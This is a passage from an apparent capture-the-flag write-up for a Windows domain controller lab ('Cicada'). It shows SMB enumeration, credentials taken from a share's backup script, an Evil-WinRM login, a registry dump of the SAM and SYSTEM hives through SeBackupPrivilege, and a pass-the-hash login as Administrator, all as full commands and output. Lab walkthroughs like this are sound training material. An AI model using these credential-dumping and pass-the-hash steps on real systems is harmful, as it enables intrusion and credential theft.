[+] After merging groups results we have 50 group(s) total:
'1101':
  groupname: DnsAdmins
  type: local
'1102':
  groupname: DnsUpdateProxy
  type: domain
'1103':
  groupname: Groups
  type: domain
'1109':
  groupname: Dev Support
  type: domain
'498':
  groupname: Enterprise Read-only Domain Controllers
  type: domain
'512':
  groupname: Domain Admins
  type: domain
'513':
  groupname: Domain Users
  type: domain
'514':
  groupname: Domain Guests
  type: domain
'515':
  groupname: Domain Computers
  type: domain
'516':
  groupname: Domain Controllers
  type: domain
'517':
  groupname: Cert Publishers
  type: local
'518':
  groupname: Schema Admins
  type: domain
'519':
  groupname: Enterprise Admins
  type: domain
'520':
  groupname: Group Policy Creator Owners
  type: domain
'521':
  groupname: Read-only Domain Controllers
  type: domain
'522':
  groupname: Cloneable Domain Controllers
  type: domain
'525':
  groupname: Protected Users
  type: domain
'526':
  groupname: Key Admins
  type: domain
'527':
  groupname: Enterprise Key Admins
  type: domain
'544':
  groupname: Administrators
  type: builtin
'545':
  groupname: Users
  type: builtin
'546':
  groupname: Guests
  type: builtin
'548':
  groupname: Account Operators
  type: builtin
'549':
  groupname: Server Operators
  type: builtin
'550':
  groupname: Print Operators
  type: builtin
'551':
  groupname: Backup Operators
  type: builtin
'552':
  groupname: Replicator
  type: builtin
'553':
  groupname: RAS and IAS Servers
  type: local
'554':
  groupname: Pre-Windows 2000 Compatible Access
  type: builtin
'555':
  groupname: Remote Desktop Users
  type: builtin
'556':
  groupname: Network Configuration Operators
  type: builtin
'557':
  groupname: Incoming Forest Trust Builders
  type: builtin
'558':
  groupname: Performance Monitor Users
  type: builtin
'559':
  groupname: Performance Log Users
  type: builtin
'560':
  groupname: Windows Authorization Access Group
  type: builtin
'561':
  groupname: Terminal Server License Servers
  type: builtin
'562':
  groupname: Distributed COM Users
  type: builtin
'568':
  groupname: IIS_IUSRS
  type: builtin
'569':
  groupname: Cryptographic Operators
  type: builtin
'571':
  groupname: Allowed RODC Password Replication Group
  type: local
'572':
  groupname: Denied RODC Password Replication Group
  type: local
'573':
  groupname: Event Log Readers
  type: builtin
'574':
  groupname: Certificate Service DCOM Access
  type: builtin
'575':
  groupname: RDS Remote Access Servers
  type: builtin
'576':
  groupname: RDS Endpoint Servers
  type: builtin
'577':
  groupname: RDS Management Servers
  type: builtin
'578':
  groupname: Hyper-V Administrators
  type: builtin
'579':
  groupname: Access Control Assistance Operators
  type: builtin
'580':
  groupname: Remote Management Users
  type: builtin
'582':
  groupname: Storage Replica Administrators
  type: builtin

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
DEV:
  comment: ''
  type: Disk
HR:
  comment: ''
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK

 ========================================
|    Policies via RPC for 10.10.11.35    |
 ========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
  Password history length: 24
  Minimum password length: 7
  Maximum password age: 41 days 23 hours 53 minutes
  Password properties:
  - DOMAIN_PASSWORD_COMPLEX: true
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
  Lockout observation window: 30 minutes
  Lockout duration: 30 minutes
  Lockout threshold: None
Domain logoff information:
  Force logoff time: not set

 ========================================
|    Printers via RPC for 10.10.11.35    |
 ========================================
[+] No printers returned (this is not an error)

Completed after 14.93 seconds

Result:

User password david.orelious obtained directly from your account description: aRt$Lp#7t*VQ!3.

We try to connect through WinRM using the username and password obtained, but we were unable to establish the connection.

BASH

❯ sudo evil-winrm  -i  10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

Result

The connection with WinRM failed, showing an authorization error.

Attempt to Enumerate Resources with enum4linux:

An attempt was made to perform a resource enumeration on the server using enum4linux-ng.

CODE

❯ /opt/enum4linux-ng/enum4linux-ng.py -S 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'david.orelious'
[*] Random Username .. 'wrijanuc'
[*] Password ......... 'aRt$Lp#7t*VQ!3'
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'david.orelious', password 'aRt$Lp#7t*VQ!3'
[*] Check for random user
[+] Server allows session using username 'wrijanuc', password 'aRt$Lp#7t*VQ!3'
[H] Rerunning enumeration with user 'wrijanuc' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
DEV:
  comment: ''
  type: Disk
HR:
  comment: ''
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: OK
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK

Completed after 5.41 seconds

Enumeration Result:

Target Information:
- Domain name: CICADA
- Team name: CICADA-DC
- DNS domain: cicada.htb
- Full domain name: CICADA-DC.cicada.htb
- Member Type: Domain Member
SMB access:
- SMB is accessible on ports 445/tcp and 139/tcp.
- Supported SMB protocol:
  - SMB 2.0, 2.1, 3.0 and 3.1.1.
Shares detected:
- ADMIN$, C$, DEV, HR, IPC$, NETLOGON, SYSVOL.
Permissions on shares:
- ADMIN$: Access denied.
- C$: Access denied.
- DEV: Access allowed and list of available content.
- HR: Access allowed and list of available content.
- CPI$: Access allowed, but listing not supported.
- NETLOGON: Access allowed and list of available content.
- SYSVOL: Access allowed and list of available content.

Script to List and List Content of SMB Shares:

Based on the information obtained, the following Bash script was used to attempt to list the contents of the accessible SMB shares.

BASH

#!/bin/bash

# Dirección IP del servidor
SERVER_IP="10.10.11.35"

# Usuario SMB
SMB_USER='david.orelious'
SMB_PASS='aRt$Lp#7t*VQ!3'

# Lista de shares detectados
SHARES=("ADMIN$" "C$" "DEV" "HR" "IPC$" "NETLOGON" "SYSVOL")

echo "Iniciando enumeración de shares SMB en $SERVER_IP con usuario '$SMB_USER'..."

for SHARE in "${SHARES[@]}"; do
    echo "Intentando acceder al share: $SHARE"
    
    # Comando para listar el contenido del share
    smbclient "\\\\$SERVER_IP\\$SHARE" -U "$SMB_USER%$SMB_PASS" 2>/dev/null

    # Verificar si el acceso fue exitoso
    if [ $? -eq 0 ]; then
        echo "Acceso exitoso al share '$SHARE'. Contenido listado arriba."
    else
        echo "No se pudo acceder al share '$SHARE'."
    fi

    echo "---------------------------------------------"
done

echo "Enumeración completada."

Script execution

When executing the script, the SMB shares were enumerated and an attempt was made to access each of them:

CODE

❯ bash enum_smb.sh

Iniciando enumeración de shares SMB en 10.10.11.35 con usuario 'david.orelious'...
Intentando acceder al share: ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
No se pudo acceder al share 'ADMIN$'.
---------------------------------------------
Intentando acceder al share: C$
tree connect failed: NT_STATUS_ACCESS_DENIED
No se pudo acceder al share 'C$'.
---------------------------------------------
Intentando acceder al share: DEV
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:31:39 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 19:28:22 2024

		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'DEV'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: HR
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'HR'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
Acceso exitoso al share 'IPC$'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 12:08:56 2024
  ..                                  D        0  Thu Mar 14 12:15:21 2024

		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'NETLOGON'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug 22 19:40:07 2024
  ..                                  D        0  Thu Mar 14 12:08:56 2024
  cicada.htb                         Dr        0  Thu Mar 14 12:08:56 2024
   
		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'SYSVOL'. Contenido listado arriba.
---------------------------------------------
Enumeración completada.

Script execution summary

ADMIN$ access:

Result: Access denied.
Message: tree connect failed: NT_STATUS_ACCESS_DENIED

Access to C$:

Result: Access denied.
Message: tree connect failed: NT_STATUS_ACCESS_DENIED

Access to DEV:

Result: Access successful.
Content: Backup_script.ps1 (Script file found).
Downloading the Backup_script.ps1 file

Access to HR:

Result: Access successful.
Content: Notice from HR.txt

Access to CPI$:

Result: Access successful, but no files listed.

Access to NETLOGON:

Result: Access successful, but no files listed.

Access to SYSVOL:

Result: Access successful, but the directory could not be downloaded cicada.htb.
Message: NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \cicada.htb

Script Analysis and Credential Obtaining:

When reviewing script content Backup_script.ps1, clear text user and password credentials were detected, allowing subsequent access to the target machine via WinRM.

Script Content `Backup_script.ps1`:

PHP

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Access to the Machine through WinRM:

Using the credentials found in the script, an attempt was made to perform a remote login with WinRM using the tool Evil-WinRM.

BASH


 sudo evil-winrm  -i  10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

Obtaining the User Flag

During the exploitation process, it was possible to obtain the first user flag when accessing the user's desktop emily.oscars on the remote machine.

CODE

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> dir


    Directory: C:\Users\emily.oscars.CICADA


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---         8/28/2024  10:32 AM                Desktop
d-r---         8/22/2024   2:22 PM                Documents
d-r---          5/8/2021   1:20 AM                Downloads
d-r---          5/8/2021   1:20 AM                Favorites
d-r---          5/8/2021   1:20 AM                Links
d-r---          5/8/2021   1:20 AM                Music
d-r---          5/8/2021   1:20 AM                Pictures
d-----          5/8/2021   1:20 AM                Saved Games
d-r---          5/8/2021   1:20 AM                Videos


*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> dir


    Directory: C:\Users\emily.oscars.CICADA\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         12/3/2024  12:00 PM             34 user.txt


*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> get-content user.txt
74ce464aa7f9837bd2c12e77dffa750b

Elevation of Privileges

Mimikatz Rise

We tried to launch Mimikatz to elevate privileges, but we didn't get enough permissions to run it correctly.

CODE

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> upload
Info: Uploading /opt/postexplotation/win/mimikatz_exe/x64/ to C:\Users\emily.oscars.CICADA\Documents\x64
Data: 883688 bytes of 883688 bytes copied
Info: Upload successful!

We verify that the file has been uploaded correctly:

CODE

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
Directory: C:\Users\emily.oscars.CICADA\Documents
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         12/3/2024   2:27 PM                Cicada
d-----         12/3/2024   2:29 PM                x64

Mimikatz Execution

We tried to run Mimikatz with the command to get the users' passwords, but an error was encountered due to lack of proper privileges:

CODE

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\x64> ./mimikatz.exe  "privilege::debug" "sekurlsa::logonPasswords" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
  .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
  '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
   '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz(commandline) # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(commandline) # exit
Bye!

The error ERROR kuhl_m_privilege_simple indicates that we do not have sufficient privileges to execute the function privilege::debug. Furthermore, the error ERROR kuhl_m_sekurlsa_acquireLSA shows that the memory needed to recover the passwords could not be accessed.

Privilege Check

To check our privileges, we use the following command:

CODE

whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The privileges SeBackupPrivilege and SeRestorePrivilege are enabled, allowing us to make backup copies of files and directories.

SAM and SYSTEM backup

We take advantage of the privilege SeBackupPrivilege to backup logs Sam and SYSTEM, which contain the credentials needed to attempt to gain high-level access:

BASH

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> mkdir SAM
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd SAM

We keep the records Sam and SYSTEM:

CODE

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> reg save hklm\system system
The operation completed successfully.

We download the files Sam and SYSTEM to the attacking team:

CODE

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> download .
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SAM\. to .
Info: Download successful!

Trying to get the hash with Samdump2

We use samdump2 to extract the password hashes, but the results were not as expected:

BASH

sudo samdump2 system sam
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Summary

We did not get the correct hash of Administrator.

Trying to get the hash with Pypykatz

Next, we use pypykatz To extract the hashes correctly:

CODE

pypykatz registry system --sam sam
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Access via Evil-WinRM

Finally, we use Evil-WinRM to gain access to the machine as Administrator using the hash:

BASH

❯ sudo evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Obtaining the Administrator Flag

We navigate through the directories until we reach the directory Desktop and we read the content of the file root.txt, thus obtaining the flag.

POWERSHELL


*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         12/3/2024   5:13 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
29d599adfa4c56184faaeea2a9f64ba1

Relevant information

:wq!

Introduction

Tools Used:

Discovery of the Target Machine

Port Scanning with Nmap

Summary nmap results:

Enumeration

Enumeration Summary

Accessible ports:

Domain:

Operating system:

Denied information:

Enumeration Summary

Accessible ports:

Domain:

Operating system information:

Shares found:

Users and groups:

Policies:

Script for SMB shares enumeration

Script execution

Download the file “Notice from HR.txt”

Use of the Software enum4linux to Explore Sensitive Data:

Performing a Brute Force Attack with crackmapexec:

WinRM Connection Test

Result:

SMB Connection Test

Result:

SMB enumeration with enum4linux

Result:

Result

Attempt to Enumerate Resources with enum4linux:

Enumeration Result:

Script to List and List Content of SMB Shares:

Script execution

Script execution summary

ADMIN$ access:

Access to C$:

Access to DEV:

Access to HR:

Access to CPI$:

Access to NETLOGON:

Access to SYSVOL:

Script Analysis and Credential Obtaining:

Script Content Backup_script.ps1:

Access to the Machine through WinRM:

Obtaining the User Flag

Elevation of Privileges

Mimikatz Rise

Mimikatz Execution

Privilege Check

SAM and SYSTEM backup

Trying to get the hash with Samdump2

Summary

Trying to get the hash with Pypykatz

Access via Evil-WinRM

Obtaining the Administrator Flag

Relevant information

Comments

Use of the Software `enum4linux` to Explore Sensitive Data:

Performing a Brute Force Attack with `crackmapexec`:

SMB enumeration with `enum4linux`

Script Content `Backup_script.ps1`: